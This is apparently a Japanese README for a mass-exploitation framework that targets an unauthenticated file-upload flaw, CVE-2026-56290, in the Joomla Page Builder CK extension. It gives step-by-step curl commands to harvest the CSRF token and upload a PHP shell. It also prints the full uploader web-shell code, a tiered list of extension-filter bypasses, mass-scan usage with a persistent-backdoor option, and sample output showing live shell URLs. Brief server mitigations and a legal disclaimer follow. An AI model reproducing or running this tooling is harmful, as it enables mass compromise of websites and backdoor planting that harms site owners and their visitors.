
📤 CVE-2026-56290 用の大規模悪用フレームワーク — Page Builder CK Joomla の未認証ファイルアップロードによる RCE
CVE-2026-56290 は、人気の Joomla ページビルダー拡張機能である Page Builder CK(com_pagebuilderck)における深刻度「Critical」の脆弱性です。browse.ajaxAddPicture コントローラメソッドは、ユーザーが制御可能な宛先パスへの未認証ファイルアップロードを受け入れるため、攻撃者が Web からアクセス可能なディレクトリに任意の PHP ファイルを書き込むことができます。
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
path パラメータは trim() によるサニタイズのみが行われます。ホワイトリストも、ディレクトリトラバーサルチェックも、認証ゲートもありません。さらに、CSRF トークンはどの Joomla ページからでも公開アクセス可能なため、攻撃者は任意の書き込み可能ディレクトリに PHP シェルをリモートでアップロードできます。
| ベクトル | 深刻度 | 影響 |
|---|---|---|
| 未認証ファイルアップロード | 9.8(Critical) | 任意の PHP コード実行 |
| CSRF トークン収集 |
1. HIT Joomla homepage → harvest CSRF token (hex32 + value "1")
2. POST file upload → task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in → media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL → code executes, RCE confirmed
5. POST f=@file to shell → upload additional tools
6. GET ?cleanup=1 → shell self-destructs
注記: バージョンは Joomla のマニフェストファイル
/administrator/manifests/files/com_pagebuilderck.xmlから検出されます。マニフェストにアクセスできない場合、スキャナはデフォルトで対象を潜在的に脆弱なものとして扱います。
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Install dependencies
pip install -r requirements.txt
# Verify
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target Single target URL
-f, --file File with target URLs (one per line, # for comments)
-o, --output Live TXT output file (default: cve-2026-56290_live.txt)
--json JSON report file path (default: cve-2026-56290_report.json)
--threads Concurrent workers (default: 20)
--timeout Request timeout in seconds (default: 15)
--no-cleanup Leave shells on target (persistent backdoor)
-v, --verbose Verbose endpoint discovery output
--known-endpoint Skip discovery: task,file_param,folder_param
# Single target
python cve_2026_56290.py -t https://target.com
# Mass scan from file
python cve_2026_56290.py -f targets.txt
# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
Live TXT: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [rce_confirmed] 12.4s
PBCK: 3.4.7 [VULN]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [patched] 3.2s
✅ https://target-vuln2.com [rce_confirmed] 15.1s
PBCK: 3.1.0 [VULN]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE Confirmed : 2
⚠️ RCE Failed : 1
🛡️ Patched : 1
🔍 Need Diff : 0
❌ Not Joomla : 0
⏭️ No Component : 1
💥 Errors : 0
==================================================
ステップ 1 — CSRF トークンの収集
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
ステップ 2 — PHP シェルのアップロード
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
ステップ 3 — RCE の検証
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution
スキャナは自己完結型のアップローダーシェルを展開します。exec()、system()、eval() は不要です:
<html><body>
<form method=post enctype=multipart/form-data>
<input type=file name=f>
<input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
@unlink(__FILE__);
die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>
シェルの機能:
f=@file で追加ファイルをアップロード?cleanup=1 で自己削除┌─────────────────────────────────────────────────────────┐
│ PBCK-EXPLOIT │
├──────────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌────────────┐ │ ┌──────────────┐ ┌──────────────┐ │
│ │ Joomla │ │ │ Endpoint │ │ Extension │ │
│ │ Detection │ │ │ Brute-force │ │ Bypass Grid │ │
│ │ (2-phase) │ │ │ (1000+ combo)│ │ (40+ exts) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ ┌──────▼───────┐ ┌──────▼───────┐ │
│ │ PBCK │ │ │ CSRF Token │ │ PHP Shell │ │
│ │ Detection │ │ │ Harvester │ │ Deployment │ │
│ │ (probes) │ │ │ (5 pages) │ │ (20+ paths) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ │ ┌──────▼───────┐ │
│ │ Version │ │ │ │ Validation │ │
│ │ Check │ │ │ │ + Cleanup │ │
│ └────────────┘ │ │ └──────────────┘ │
└──────────────────┴──────────────────────────────────────┘
スキャナは、ターゲットごとの時間予算(15 秒)を持つ段階的ブルートフォース方式を採用しています:
各組み合わせ:.txt プローブをアップロード → GET で検証 → 成功時にマッチ。確認されると即座に戻ります。
CKFile::makeSafe() は一部の構成で .php をブロックします。バイパス戦略:
Tier 1: Fast
php, PHP, pht, phar
↓ (if blocked)
Tier 2: Case juggling
Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
↓ (if blocked)
Tier 3: Alternative handlers
php3, php4, php5, php6, php7, php8, phtml, shtml, inc
↓ (if blocked)
Tier 4: Double extensions
php.jpg, jpg.php, php.png, php.gif, php.txt
↓ (if blocked)
Tier 5: Windows tricks
php., PHP., php. , php.SWF
Joomla の CSRF トークンはすべてのページ(ホーム、ログイン、登録、お問い合わせフォーム、管理画面)に埋め込まれています:
CSRF_PAGES = [
"", # homepage
"/index.php?option=com_users&view=login", # login
"/index.php?option=com_users&view=registration", # registration
"/index.php?option=com_contact&view=contact&id=1", # contact
"/administrator/index.php", # admin login
]
パターン A — HTML の hidden 入力: <input type="hidden" name="<hex32>" value="1">
パターン B — JSON 設定: "csrf.token":"<hex32>"
フェーズ 1 — HTML フィンガープリント(高速・確定的)
<jdoc:include>、joomla-script-options、"csrf.token"/components/com_、/modules/mod_、/plugins/system/フェーズ 2 — 管理パネルプローブ(フォールバック)
/administrator/ ページを取得name="username"、mod-login-、administrator/templates/階層 1 — HTML の強い指標
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck
階層 2 — 確認を伴う HTML の弱い指標
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)
階層 3 — 直接ファイルプローブ(PBCK がホームページにないインストールを検出)
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml
# Update Page Builder CK to the latest patched version
# Check: https://extensions.joomla.org/extension/page-builder-ck/
# Nginx — block unauthenticated access to the upload controller
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
deny all;
}
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]
# .htaccess in media/ — disable PHP execution
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# Scan your own infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt
🚨 教育および承認されたテスト目的のみ
本ソフトウェアは教育目的および正当なセキュリティ研究のためにのみ提供されます。以下の用途での使用を想定しています:
- 🛡️ 承認されたペネトレーションテストを実施するセキュリティ専門家
- 🏢 自社の Joomla インフラストラクチャを監査する組織
- 🔬 脆弱性エクスプロイト技術を研究する研究者
- 🎓 Web アプリケーションセキュリティを学ぶ学生
❌ 本ソフトウェアを以下の目的で使用してはなりません:
- 明示的な書面による承認なしにコンピュータシステムへアクセスすること
- 所有していないシステムを侵害、破壊、または妨害すること
- いかなる種類の違法行為を行うこと
⚖️ 法的通知
コンピュータシステムへの不正アクセスは、以下の法律(これらに限定されません)に違反します:
- 米国: Computer Fraud and Abuse Act(18 U.S.C. § 1030)
- インドネシア: UU ITE 第 30 条および第 46 条(UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- 欧州連合: 指令 2013/40/EU
- 英国: Computer Misuse Act 1990
著作者は、本ツールの使用に起因する誤用、損害、または法的結果について一切の責任を負いません。本ソフトウェアを使用することにより、利用者はご自身の行為に対して単独で責任を負うことを了承し、適用されるすべての法律を遵守することに同意したものとみなされます。
⚡ セキュリティ研究コミュニティのために精密に構築 ⚡
Joomla® は Open Source Matters, Inc. の登録商標です。
本プロジェクトは Joomla、Open Source Matters、または Page Builder CK とは提携しておらず、その承認も受けていません。
| 5.3(Medium) |
| アップロードチェーンを可能にする |
| 情報漏えい | 5.3(Medium) | 拡張機能バージョンのフィンガープリンティング |
| Page Builder CK バージョン | ステータス | 備考 |
|---|
| 3.1.1 以下 | 🔴 脆弱 | 未認証アップロードを確認済み |
| 3.4.10 以下 | 🔴 脆弱 | 分析により範囲を拡大 |
| 3.5.10 以下 | 🔴 脆弱 | 一部のパッチ適用済みバリアントが存在する可能性あり |
| > 3.5.10 | 🟢 パッチ適用済みの可能性 | マニフェスト XML で確認 |
🔍 偵察
|
💀 エクスプロイト
|
| 階層 | タスク | ファイルパラメータ | フォルダパラメータ | 宛先パス | 組み合わせ総数 |
|---|
| 階層 1(確認済み) | browse.ajaxAddPicture +他 3 件 | file、Filedata | path、folder、dir | PBCK ディレクトリ上位 4 件 | 96 |
| 階層 2(フルグリッド) | 12 タスク | 4 パラメータ | 5 パラメータ | 20 以上のパス | 4,800 以上 |
| リソース | リンク |
|---|
| NVD エントリ | CVE-2026-56290 |
| Joomla セキュリティ | developer.joomla.org/security |
| Page Builder CK | extensions.joomla.org |
| OWASP ファイルアップロード | 制限のないファイルアップロード |